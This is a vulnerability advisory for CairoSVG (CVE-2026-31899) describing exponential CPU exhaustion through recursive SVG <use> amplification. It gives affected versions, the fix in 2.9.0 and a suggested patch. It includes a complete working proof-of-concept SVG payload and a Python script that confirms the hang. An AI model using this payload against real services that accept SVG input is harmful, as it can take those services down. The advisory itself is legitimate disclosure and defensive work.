Monitor vulnerabilities like this one. Sign up free to get alerted when software you use is affected.
7.5

CairoSVG Can Be Overwhelmed by Malicious SVG Files

GHSA-f38f-5xpm-9r7c CVE-2026-31899
Summary

CairoSVG has a security issue that can cause a denial-of-service (DoS) by consuming all available CPU resources. This can happen when a maliciously crafted SVG file is processed by CairoSVG, causing the program to make an excessive number of rendering calls. To mitigate this issue, update CairoSVG to the latest version or apply a patch.

What to do
  • Update cairosvg to version 2.9.0.
Affected software
VendorProductAffected versionsFix available
cairosvg <= 2.8.2 2.9.0
Original title
CairoSVG vulnerable to Exponential DoS via recursive <use> element amplification
Original description
## Summary

Kozea/CairoSVG has exponential denial of service via recursive `<use>` element amplification in `cairosvg/defs.py` (line ~335). This causes CPU exhaustion from a small input.

## Vulnerable Code

File: `cairosvg/defs.py` (line ~335), function `use()`

The `use()` function recursively processes `<use>` elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.

## Impact

- 1,411-byte SVG payload pins CPU at 100% indefinitely
- Memory stays flat at ~43MB — no OOM kill, process never terminates
- Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able
- Amplification factor: O(10^N) rendering calls from O(N) input

## Proof of Concept

Save as `poc.svg` and run `timeout 10 cairosvg poc.svg -o test.png`:

```xml
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<g id="a"><rect width="1" height="1"/></g>
<g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
<g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
<g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
<g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
</defs>
<use xlink:href="#e"/>
</svg>
```

Expected: `timeout` kills the process after 10 seconds (it never completes on its own).

Alternatively test with Python:
```python
import cairosvg, signal
signal.alarm(5) # Kill after 5 seconds
try:
cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")
```

## Suggested Fix

Add recursion depth counter to `use()` function. Cap at e.g. 10 levels. Also add total element budget to prevent amplification.

## References

- [CWE-400](https://cwe.mitre.org/data/definitions/400.html)

## Credit

Kai Aizen (SnailSploit) — Adversarial AI & Security Research
ghsa CVSS3.1 7.5
Vulnerability type
CWE-400 Uncontrolled Resource Consumption
Published: 13 Mar 2026 · Updated: 13 Mar 2026 · First seen: 13 Mar 2026